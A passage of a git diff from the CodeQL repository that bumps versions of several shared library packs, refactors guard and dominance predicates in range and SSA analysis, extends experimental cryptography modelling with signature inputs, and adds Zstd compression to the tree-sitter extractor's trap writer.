b/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll index fc1e0113d1d0..d4fbd9062b63 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll @@ -96,9 +96,11 @@ module ModelPrintingImpl { /** * Gets the lifted taint summary model for `api` with `input` and `output`. */ - bindingset[input, output] - string asLiftedTaintModel(Printing::SummaryApi api, string input, string output) { - result = asModel(api, input, output, false, true) + bindingset[input, output, preservesValue] + string asLiftedModel( + Printing::SummaryApi api, string input, string output, boolean preservesValue + ) { + result = asModel(api, input, output, preservesValue, true) } /** diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 96556fa674b5..508a599359ff 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.23 +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/quantum/CHANGELOG.md b/shared/quantum/CHANGELOG.md index 59b60bad0f37..d7831747b120 100644 --- a/shared/quantum/CHANGELOG.md +++ b/shared/quantum/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.0.3 + +No user-facing changes. + +## 0.0.2 + +No user-facing changes. + ## 0.0.1 No user-facing changes. diff --git a/shared/quantum/change-notes/released/0.0.2.md b/shared/quantum/change-notes/released/0.0.2.md new file mode 100644 index 000000000000..5ab250998ed4 --- /dev/null +++ b/shared/quantum/change-notes/released/0.0.2.md @@ -0,0 +1,3 @@ +## 0.0.2 + +No user-facing changes. diff --git a/shared/quantum/change-notes/released/0.0.3.md b/shared/quantum/change-notes/released/0.0.3.md new file mode 100644 index 000000000000..af7864fc7d54 --- /dev/null +++ b/shared/quantum/change-notes/released/0.0.3.md @@ -0,0 +1,3 @@ +## 0.0.3 + +No user-facing changes. diff --git a/shared/quantum/codeql-pack.release.yml b/shared/quantum/codeql-pack.release.yml index c6933410b71c..a24b693d1e7a 100644 --- a/shared/quantum/codeql-pack.release.yml +++ b/shared/quantum/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.1 +lastReleaseVersion: 0.0.3 diff --git a/shared/quantum/codeql/quantum/experimental/Model.qll b/shared/quantum/codeql/quantum/experimental/Model.qll index a87aee2e69c4..e7bbe65d3115 100644 --- a/shared/quantum/codeql/quantum/experimental/Model.qll +++ b/shared/quantum/codeql/quantum/experimental/Model.qll @@ -424,6 +424,17 @@ module CryptographyBase Input> { final override ConsumerInputDataFlowNode getInputNode() { result = inputNode } } + final private class SignatureArtifactConsumer extends ArtifactConsumerAndInstance { + ConsumerInputDataFlowNode inputNode; + + SignatureArtifactConsumer() { + exists(SignatureOperationInstance op | inputNode = op.getSignatureConsumer()) and + this = Input::dfn_to_element(inputNode) + } + + final override ConsumerInputDataFlowNode getInputNode() { result = inputNode } + } + /** * An artifact that is produced by an operation, representing a concrete artifact instance rather than a synthetic consumer artifact. */ @@ -458,6 +469,8 @@ module CryptographyBase Input> { } override DataFlowNode getOutputNode() { result = creator.getOutputArtifact() } + + KeyOperationInstance getCreator() { result = creator } } /** @@ -782,6 +795,17 @@ module CryptographyBase Input> { abstract ArtifactOutputDataFlowNode getOutputArtifact(); } + /** + * A key operation instance representing a signature being generated or verified. + */ + abstract class SignatureOperationInstance extends KeyOperationInstance { + /** + * Gets the consumer of the signature that is being verified in case of a + * verification operation. + */ + abstract ConsumerInputDataFlowNode getSignatureConsumer(); + } + /** * A key-based algorithm instance used in cryptographic operations such as encryption, decryption, * signing, verification, and key wrapping. @@ -841,7 +865,7 @@ module CryptographyBase Input> { * This will be automatically inferred and applied at the node level. * See `fixedImplicitCipherKeySize`. */ - abstract string getKeySizeFixed(); + abstract int getKeySizeFixed(); /** * Gets a consumer for the key size in bits specified for this algorithm variant. @@ -972,7 +996,7 @@ module CryptographyBase Input> { abstract TEllipticCurveType getEllipticCurveType(); - abstract string getKeySize(); + abstract int getKeySize(); /** * The 'parsed' curve name, e.g., "P-256" or "secp256r1" @@ -1044,7 +1068,7 @@ module CryptographyBase Input> { abstract KeyArtifactType getOutputKeyType(); // Defaults or fixed values - string getKeySizeFixed() { none() } + int getKeySizeFixed() { none() } // Consumer input nodes abstract ConsumerInputDataFlowNode getKeySizeConsumer(); @@ -1132,8 +1156,10 @@ module CryptographyBase Input> { DH() or // Diffie-Hellman EDH() or // Ephemeral Diffie-Hellman ECDH() or // Elliptic Curve Diffie-Hellman + // NOTE: for now ESDH is considered simply EDH + //ESDH() or // Ephemeral-Static Diffie-Hellman // Note: x25519 and x448 are applications of ECDH - UnknownKeyAgreementType() + OtherKeyAgreementType() abstract class KeyAgreementAlgorithmInstance extends AlgorithmInstance { abstract TKeyAgreementType getKeyAgreementType(); @@ -1264,6 +1290,7 @@ module CryptographyBase Input> { TNonceInput(NonceArtifactConsumer e) or TMessageInput(MessageArtifactConsumer e) or TSaltInput(SaltArtifactConsumer e) or + TSignatureInput(SignatureArtifactConsumer e) or TRandomNumberGeneration(RandomNumberGenerationInstance e) { e.flowsTo(_) } or // Key Creation Operation union type (e.g., key generation, key load) TKeyCreationOperation(KeyCreationOperationInstance e) or @@ -1325,14 +1352,14 @@ module CryptographyBase Input> { /** * Returns the child of this node with the given edge name. * - * This predicate is overriden by derived classes to construct the graph of cryptographic operations. + * This predicate is overridden by derived classes to construct the graph of cryptographic operations. */ NodeBase getChild(string edgeName) { none() } /** * Defines properties of this node by name and either a value or location or both. * - * This predicate is overriden by derived classes to construct the graph of cryptographic operations. + * This predicate is overridden by derived classes to construct the graph of cryptographic operations. */ predicate properties(string key, string value, Location location) { none() } @@ -1505,6 +1532,20 @@ module CryptographyBase Input> { override LocatableElement asElement() { result = instance } } + /** + * A signature input. This may represent a signature, or a signature component + * such as the scalar values r and s in ECDSA. + */ + final class SignatureArtifactNode extends ArtifactNode, TSignatureInput { + SignatureArtifactConsumer instance; + + SignatureArtifactNode() { this = TSignatureInput(instance) } + + final override string getInternalType() { result = "SignatureInput" } + + override LocatableElement asElement() { result = instance } + } + /** * A salt input. */ @@ -1528,13 +1569,22 @@ module CryptographyBase Input> { KeyOperationOutputNode() { this = TKeyOperationOutput(instance) } - final override string getInternalType() { result = "KeyOperationOutput" } + override string getInternalType() { result = "KeyOperationOutput" } override LocatableElement asElement() { result = instance } override string getSourceNodeRelationship() { none() } } + class SignOperationOutputNode extends KeyOperationOutputNode { + SignOperationOutputNode() { + this.asElement().(KeyOperationOutputArtifactInstance).getCreator().getKeyOperationSubtype() = + TSignMode() + } + + override string getInternalType() { result = "SignatureOutput" } + } + /** * A source of random number generation. */ @@ -1900,7 +1950,7 @@ module CryptographyBase Input> { or // [ONLY_KNOWN] key = "DefaultKeySize" and - value = kdfInstance.getKeySizeFixed() and + value = kdfInstance.getKeySizeFixed().toString() and location = this.getLocation() or // [ONLY_KNOWN] - TODO: refactor for known unknowns @@ -2107,6 +2157,7 @@ module CryptographyBase Input> { } class SignatureOperationNode extends KeyOperationNode { + override SignatureOperationInstance instance; string nodeName; SignatureOperationNode() { @@ -2116,6 +2167,21 @@ module CryptographyBase Input> { } override string getInternalType() { result = nodeName } + + SignatureArtifactNode getASignatureArtifact() { + result.asElement() = instance.getSignatureConsumer().getConsumer() + } + + override NodeBase getChild(string key) { + result = super.getChild(key) + or + // [KNOWN_OR_UNKNOWN] - only if we know the type is verify + this.getKeyOperationSubtype() = TVerifyMode() and + key = "Signature" and + if exists(this.getASignatureArtifact()) + then result = this.getASignatureArtifact() + else result = this + } } /** @@ -2259,13 +2325,10 @@ module CryptographyBase Input> { /** * Gets the key size variant of this algorithm in bits, e.g., 128 for "AES-128". */ - string getKeySizeFixed() { + int getKeySizeFixed() { result = instance.asAlg().getKeySizeFixed() or - exists(int size | - KeyOpAlg::fixedImplicitCipherKeySize(instance.asAlg().getAlgorithmType(), size) and - result = size.toString() - ) + KeyOpAlg::fixedImplicitCipherKeySize(instance.asAlg().getAlgorithmType(), result) } /** @@ -2333,7 +2396,7 @@ module CryptographyBase Input> { // [ONLY_KNOWN] key = "KeySize" and ( - value = this.getKeySizeFixed() and + value = this.getKeySizeFixed().toString() and location = this.getLocation() or node_as_property(this.getKeySize(), value, location) @@ -2566,6 +2629,8 @@ module CryptographyBase Input> { or curveName = "CURVE25519" and keySize = 255 and curveFamily = CURVE25519() or + curveName = "CURVE448" and keySize = 448 and curveFamily = CURVE448() + or // TODO: separate these into key agreement logic or sign/verify (ECDSA / ECDH) // or // curveName = "X25519" and keySize = 255 and curveFamily = CURVE25519() @@ -2573,8 +2638,6 @@ module CryptographyBase Input> { // curveName = "ED25519" and keySize = 255 and curveFamily = CURVE25519() // or // curveName = "ED448" and keySize = 448 and curveFamily = CURVE448() - // curveName = "CURVE448" and keySize = 448 and curveFamily = CURVE448() - // or // or // curveName = "X448" and keySize = 448 and curveFamily = CURVE448() curveName = "SM2" and keySize in [256, 512] and curveFamily = SM2() @@ -2613,7 +2676,7 @@ module CryptographyBase Input> { or // [ONLY_KNOWN] key = "KeySize" and - value = instance.asAlg().getKeySize() and + value = instance.asAlg().getKeySize().toString() and location = this.getLocation() or // [KNOWN_OR_UNKNOWN] diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index 87daa7dc97d5..ed8f11bc6486 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.1 +version: 0.0.3 groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/CHANGELOG.md b/shared/rangeanalysis/CHANGELOG.md index 75bb80c6db72..c06e99c5f7fe 100644 --- a/shared/rangeanalysis/CHANGELOG.md +++ b/shared/rangeanalysis/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.24.md b/shared/rangeanalysis/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.25.md b/shared/rangeanalysis/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/rangeanalysis/codeql-pack.release.yml b/shared/rangeanalysis/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/shared/rangeanalysis/codeql-pack.release.yml +++ b/shared/rangeanalysis/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/rangeanalysis/codeql/rangeanalysis/ModulusAnalysis.qll b/shared/rangeanalysis/codeql/rangeanalysis/ModulusAnalysis.qll index 88d816b8644c..db3377ff3cc1 100644 --- a/shared/rangeanalysis/codeql/rangeanalysis/ModulusAnalysis.qll +++ b/shared/rangeanalysis/codeql/rangeanalysis/ModulusAnalysis.qll @@ -34,7 +34,7 @@ module ModulusAnalysis< exists(Sem::Guard guard, boolean testIsTrue | hasReadOfVarInlineLate(pos, v) and guard = eqFlowCond(v, e, D::fromInt(delta), true, testIsTrue) and - guardDirectlyControlsSsaRead(guard, pos, testIsTrue) + guardControlsSsaRead(guard, pos, testIsTrue) ) } diff --git a/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll b/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll index d0fc084e6c50..445ec9f0b8d3 100644 --- a/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll +++ b/shared/rangeanalysis/codeql/rangeanalysis/RangeAnalysis.qll @@ -146,7 +146,7 @@ signature module Semantic { class BasicBlock { /** Holds if this block (transitively) dominates `otherblock`. */ - predicate bbDominates(BasicBlock otherBlock); + predicate dominates(BasicBlock otherBlock); } /** Gets an immediate successor of basic block `bb`, if any. */ @@ -181,21 +181,6 @@ signature module Semantic { */ Expr asExpr(); - /** - * Holds if the guard directly controls a given basic block. For example in - * the following code, the guard `(x > y)` directly controls the block - * beneath it: - * ``` - * if (x > y) - * { - * Console.WriteLine("x is greater than y"); - * } - * ``` - * `branch` indicates whether the basic block is entered when the guard - * evaluates to `true` or when it evaluates to `false`. - */ - predicate directlyControls(BasicBlock controlled, boolean branch); - /** * Holds if this guard is an equality test between `e1` and `e2`. If the * test is negated, that is `!=`, then `polarity` is false, otherwise @@ -204,24 +189,19 @@ signature module Semantic { predicate isEquality(Expr e1, Expr e2, boolean polarity); /** - * Holds if there is a branch edge between two basic blocks. For example - * in the following C code, there are two branch edges from the basic block - * containing the condition `(x > y)` to the beginnings of the true and - * false blocks that follow: - * ``` - * if (x > y) { - * printf("x is greater than y\n"); - * } else { - * printf("x is not greater than y\n"); - * } - * ``` - * `branch` indicates whether the second basic block is the one entered - * when the guard evaluates to `true` or when it evaluates to `false`. + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. */ - predicate hasBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch); - } + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch); - predicate implies_v2(Guard g1, boolean b1, Guard g2, boolean b2); + /** + * Holds if this guard evaluating to `branch` directly or indirectly controls + * the block `controlled`. That is, the evaluation of `controlled` is + * dominated by this guard evaluating to `branch`. + */ + predicate controls(BasicBlock controlled, boolean branch); + } class Type; @@ -670,19 +650,14 @@ module RangeStage< delta = D::fromFloat(D::toFloat(d1) + d2 + d3) ) or - exists(boolean testIsTrue0 | - Sem::implies_v2(result, testIsTrue, boundFlowCond(v, e, delta, upper, testIsTrue0), - testIsTrue0) - ) - or result = eqFlowCond(v, e, delta, true, testIsTrue) and (upper = true or upper = false) or - // guard that tests whether `v2` is bounded by `e + delta + d1 - d2` and - // exists a guard `guardEq` such that `v = v2 - d1 + d2`. + // guard that tests whether `v2` is bounded by `e + delta - d` and + // exists a guard `guardEq` such that `v = v2 + d`. exists(Sem::SsaVariable v2, D::Delta oldDelta, float d | // equality needs to control guard - result.getBasicBlock() = eqSsaCondDirectlyControls(v, v2, d) and + result.getBasicBlock() = eqSsaCondControls(v, v2, d) and result = boundFlowCond(v2, e, oldDelta, upper, testIsTrue) and delta = D::fromFloat(D::toFloat(oldDelta) + d) ) @@ -692,13 +667,11 @@ module RangeStage< * Gets a basic block in which `v1` equals `v2 + delta`. */ pragma[nomagic] - private Sem::BasicBlock eqSsaCondDirectlyControls( - Sem::SsaVariable v1, Sem::SsaVariable v2, float delta - ) { + private Sem::BasicBlock eqSsaCondControls(Sem::SsaVariable v1, Sem::SsaVariable v2, float delta) { exists(Sem::Guard guardEq, D::Delta d1, D::Delta d2, boolean eqIsTrue | guardEq = eqFlowCond(v1, ssaRead(v2, d1), d2, true, eqIsTrue) and delta = D::toFloat(d2) - D::toFloat(d1) and - guardEq.directlyControls(result, eqIsTrue) + guardEq.controls(result, eqIsTrue) ) } @@ -749,7 +722,7 @@ module RangeStage< exists(Sem::Guard guard, boolean testIsTrue | pos.hasReadOfVar(v) and guard = boundFlowCond(v, e, delta, upper, testIsTrue) and - guardDirectlyControlsSsaRead(guard, pos, testIsTrue) and + guardControlsSsaRead(guard, pos, testIsTrue) and reason = TSemCondReason(guard) ) } @@ -762,7 +735,7 @@ module RangeStage< exists(Sem::Guard guard, boolean testIsTrue | pos.hasReadOfVar(v) and guard = eqFlowCond(v, e, delta, false, testIsTrue) and - guardDirectlyControlsSsaRead(guard, pos, testIsTrue) and + guardControlsSsaRead(guard, pos, testIsTrue) and reason = TSemCondReason(guard) ) } diff --git a/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll b/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll index ee6e3a4c958a..d6eeb781f391 100644 --- a/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll +++ b/shared/rangeanalysis/codeql/rangeanalysis/internal/RangeUtils.qll @@ -52,10 +52,6 @@ module MakeUtils Lang, DeltaSig D> { (testIsTrue = true or testIsTrue = false) and eqpolarity.booleanXor(testIsTrue).booleanNot() = isEq ) - or - exists(boolean testIsTrue0 | - implies_v2(result, testIsTrue, eqFlowCond(v, e, delta, isEq, testIsTrue0), testIsTrue0) - ) } /** @@ -173,29 +169,17 @@ module MakeUtils Lang, DeltaSig D> { override string toString() { result = "edge" } } - /** - * Holds if `guard` directly controls the position `controlled` with the - * value `testIsTrue`. - */ - pragma[nomagic] - predicate guardDirectlyControlsSsaRead(Guard guard, SsaReadPosition controlled, boolean testIsTrue) { - guard.directlyControls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) - or - exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | - guard.directlyControls(controlledEdge.getOrigBlock(), testIsTrue) or - guard.hasBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), testIsTrue) - ) - } - /** * Holds if `guard` controls the position `controlled` with the value `testIsTrue`. */ predicate guardControlsSsaRead(Guard guard, SsaReadPosition controlled, boolean testIsTrue) { - guardDirectlyControlsSsaRead(guard, controlled, testIsTrue) + guard.controls(controlled.(SsaReadPositionBlock).getBlock(), testIsTrue) or - exists(Guard guard0, boolean testIsTrue0 | - implies_v2(guard0, testIsTrue0, guard, testIsTrue) and - guardControlsSsaRead(guard0, controlled, testIsTrue0) + exists(SsaReadPositionPhiInputEdge controlledEdge | controlledEdge = controlled | + guard.controls(controlledEdge.getOrigBlock(), testIsTrue) or + guard + .controlsBranchEdge(controlledEdge.getOrigBlock(), controlledEdge.getPhiBlock(), + testIsTrue) ) } @@ -205,7 +189,7 @@ module MakeUtils Lang, DeltaSig D> { predicate backEdge(SsaPhiNode phi, SsaVariable inp, SsaReadPositionPhiInputEdge edge) { edge.phiInput(phi, inp) and ( - phi.getBasicBlock().bbDominates(edge.getOrigBlock()) or + phi.getBasicBlock().dominates(edge.getOrigBlock()) or irreducibleSccEdge(edge.getOrigBlock(), phi.getBasicBlock()) ) } @@ -227,7 +211,7 @@ module MakeUtils Lang, DeltaSig D> { private predicate trimmedEdge(BasicBlock pred, BasicBlock succ) { getABasicBlockSuccessor(pred) = succ and - not succ.bbDominates(pred) + not succ.dominates(pred) } /** diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index e3025d785223..e45001c1cd02 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.23 +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/regex/CHANGELOG.md b/shared/regex/CHANGELOG.md index 59bbd8cf93b5..1a63aa6e43ad 100644 --- a/shared/regex/CHANGELOG.md +++ b/shared/regex/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.24.md b/shared/regex/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.25.md b/shared/regex/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/regex/codeql-pack.release.yml b/shared/regex/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/shared/regex/codeql-pack.release.yml +++ b/shared/regex/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 02983bb3ce54..ea61f121ef40 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.23 +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/ssa/CHANGELOG.md b/shared/ssa/CHANGELOG.md index 509445eb6b13..fff1d5b89e2a 100644 --- a/shared/ssa/CHANGELOG.md +++ b/shared/ssa/CHANGELOG.md @@ -1,3 +1,13 @@ +## 2.0.1 + +No user-facing changes. + +## 2.0.0 + +### Breaking Changes + +* Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. + ## 1.1.2 No user-facing changes. diff --git a/shared/ssa/change-notes/released/2.0.0.md b/shared/ssa/change-notes/released/2.0.0.md new file mode 100644 index 000000000000..39ac6d68707b --- /dev/null +++ b/shared/ssa/change-notes/released/2.0.0.md @@ -0,0 +1,5 @@ +## 2.0.0 + +### Breaking Changes + +* Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. diff --git a/shared/ssa/change-notes/released/2.0.1.md b/shared/ssa/change-notes/released/2.0.1.md new file mode 100644 index 000000000000..b5b6d0dee915 --- /dev/null +++ b/shared/ssa/change-notes/released/2.0.1.md @@ -0,0 +1,3 @@ +## 2.0.1 + +No user-facing changes. diff --git a/shared/ssa/codeql-pack.release.yml b/shared/ssa/codeql-pack.release.yml index 53ab127707fc..fe974a4dbf37 100644 --- a/shared/ssa/codeql-pack.release.yml +++ b/shared/ssa/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.2 +lastReleaseVersion: 2.0.1 diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index a0a8a1c864de..4734cf7e414b 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1570,9 +1570,23 @@ module Make Input> { string toString(); /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. + * Holds if the evaluation of this guard to `branch` corresponds to the edge + * from `bb1` to `bb2`. + */ + predicate hasBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch); + + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + * + * This predicate differs from `hasBranchEdge` in that it also covers + * indirect guards, such as: + * ``` + * b = guard; + * ... + * if (b) { ... } + * ``` */ predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch); } @@ -1667,7 +1681,7 @@ module Make Input> { ( // The input node is relevant either if it sits directly on a branch // edge for a guard, - exists(DfInput::Guard g | g.controlsBranchEdge(input, phi.getBasicBlock(), _)) + exists(DfInput::Guard g | g.hasBranchEdge(input, phi.getBasicBlock(), _)) or // or if the unique predecessor is not an equivalent substitute in // terms of being controlled by the same guards. diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index f6a6ce660752..586a23e5dbbe 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 1.1.2 +version: 2.0.1 groups: shared library: true dependencies: diff --git a/shared/threat-models/CHANGELOG.md b/shared/threat-models/CHANGELOG.md index c3254e1caad7..3fa1fa4c69be 100644 --- a/shared/threat-models/CHANGELOG.md +++ b/shared/threat-models/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.24.md b/shared/threat-models/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.25.md b/shared/threat-models/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/threat-models/codeql-pack.release.yml b/shared/threat-models/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/shared/threat-models/codeql-pack.release.yml +++ b/shared/threat-models/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index 3231707ef499..2ce914671fc2 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.23 +version: 1.0.25 library: true groups: shared dataExtensions: diff --git a/shared/tree-sitter-extractor/Cargo.toml b/shared/tree-sitter-extractor/Cargo.toml index 6bbda6dc83b8..3bda73a774d2 100644 --- a/shared/tree-sitter-extractor/Cargo.toml +++ b/shared/tree-sitter-extractor/Cargo.toml @@ -19,6 +19,7 @@ serde = { version = "1.0", features = ["derive"] } serde_json = "1.0" chrono = { version = "0.4.40", features = ["serde"] } num_cpus = "1.16.0" +zstd = "0.13.3" [dev-dependencies] tree-sitter-ql = "0.23.1" diff --git a/shared/tree-sitter-extractor/src/trap.rs b/shared/tree-sitter-extractor/src/trap.rs index 4ad1e48eb6ba..a636dc885510 100644 --- a/shared/tree-sitter-extractor/src/trap.rs +++ b/shared/tree-sitter-extractor/src/trap.rs @@ -96,10 +96,17 @@ impl Writer { self.write_trap_entries(&mut trap_file) } Compression::Gzip => { - let trap_file = GzEncoder::new(trap_file, flate2::Compression::fast()); + let trap_file = GzEncoder::new(trap_file, Compression::GZIP_LEVEL); let mut trap_file = BufWriter::new(trap_file); self.write_trap_entries(&mut trap_file) } + Compression::Zstd => { + let trap_file = zstd::stream::Encoder::new(trap_file, Compression::ZSTD_LEVEL)?; + let mut trap_file = BufWriter::new(trap_file); + self.write_trap_entries(&mut trap_file)?; + trap_file.into_inner()?.finish()?; + Ok(()) + } } } @@ -107,7 +114,7 @@ impl Writer { for trap_entry in &self.trap_output { writeln!(file, "{}", trap_entry)?; } - std::io::Result::Ok(()) + Ok(()) } } @@ -280,9 +287,13 @@ fn limit_string(string: &str, max_size: usize) -> &str { pub enum Compression { None, Gzip, + Zstd, } impl Compression { + pub const ZSTD_LEVEL: i32 = 2; + pub const GZIP_LEVEL: flate2::Compression = flate2::Compression::fast(); + pub fn from_env(var_name: &str) -> Result { match std::env::var(var_name) { Ok(method) => match Compression::from_string(&method) { @@ -298,6 +309,7 @@ impl Compression { match s.to_lowercase().as_ref() { "none" => Some(Compression::None), "gzip" => Some(Compression::Gzip), + "zstd" => Some(Compression::Zstd), _ => None, } } @@ -306,6 +318,7 @@ impl Compression { match self { Compression::None => "trap", Compression::Gzip => "trap.gz", + Compression::Zstd => "trap.zst", } } } diff --git a/shared/tutorial/CHANGELOG.md b/shared/tutorial/CHANGELOG.md index 247d9be86a5e..a5290f62bb31 100644 --- a/shared/tutorial/CHANGELOG.md +++ b/shared/tutorial/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.24.md b/shared/tutorial/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.25.md b/shared/tutorial/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/tutorial/codeql-pack.release.yml b/shared/tutorial/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/shared/tutorial/codeql-pack.release.yml +++ b/shared/tutorial/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index 4102bfeb2f1e..5e8d7d64ca5d 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.23 +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/CHANGELOG.md b/shared/typeflow/CHANGELOG.md index cad6ded5224f..2283f741ca7f 100644 --- a/shared/typeflow/CHANGELOG.md +++ b/shared/typeflow/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/typeflow/change-notes/released/1.0.24.md b/shared/typeflow/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git 